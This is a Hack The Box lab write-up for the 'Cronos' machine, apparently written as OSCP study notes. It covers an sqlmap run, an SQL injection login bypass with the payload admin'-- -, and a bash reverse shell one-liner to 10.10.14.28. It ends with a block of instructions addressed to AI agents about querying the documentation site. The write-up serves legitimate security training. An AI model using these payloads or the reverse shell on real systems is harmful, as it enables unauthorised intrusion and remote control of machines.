# Exploitation

Since the page does appear to be  on the older side I have attemped default password credentials, such as admin admin, admin password, root password to no avail. The next step is an SQL injection.

Using SQLmap:&#x20;

```
sqlmap -r login.req
```

login.req file includes:&#x20;

```
POST / HTTP/1.1
Host: admin.cronos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://admin.cronos.htb
Connection: close
Referer: http://admin.cronos.htb/
Cookie: PHPSESSID=q2gtnrhsagsgd5oiod4ckp0si4
Upgrade-Insecure-Requests: 1

username=admin&password=admin
```

It appears that the username is injectable.&#x20;

Changing the username parameter to

```
username=admin'-- - 
```

bypasses the login functionality. This is because the sql statement:

```
SELECT * from TABLE WHERE username='admin'-- -' AND password='password'
```

![](/files/-MJEnKZMFqnzOtjaQd5K)

As you can see when we add the '-- - to the username field we are commenting out the AND password='password' statement.

![successful login](/files/-MJEnkhpS_jN6M6-_fs0)

Testing the application, we can see that we can execute code.

![](/files/-MJEo1bc0WTtjrq9ujCN)

## Getting a Reverse Shell

```
bash -c 'bash -i >& /dev/tcp/10.10.14.28/1234 0>&1'
```

![](/files/-MJEqCun08jzcECBw9bm)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://manuelvazquez-contact.gitbook.io/oscp-prep/hack-the-box/cronos/exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
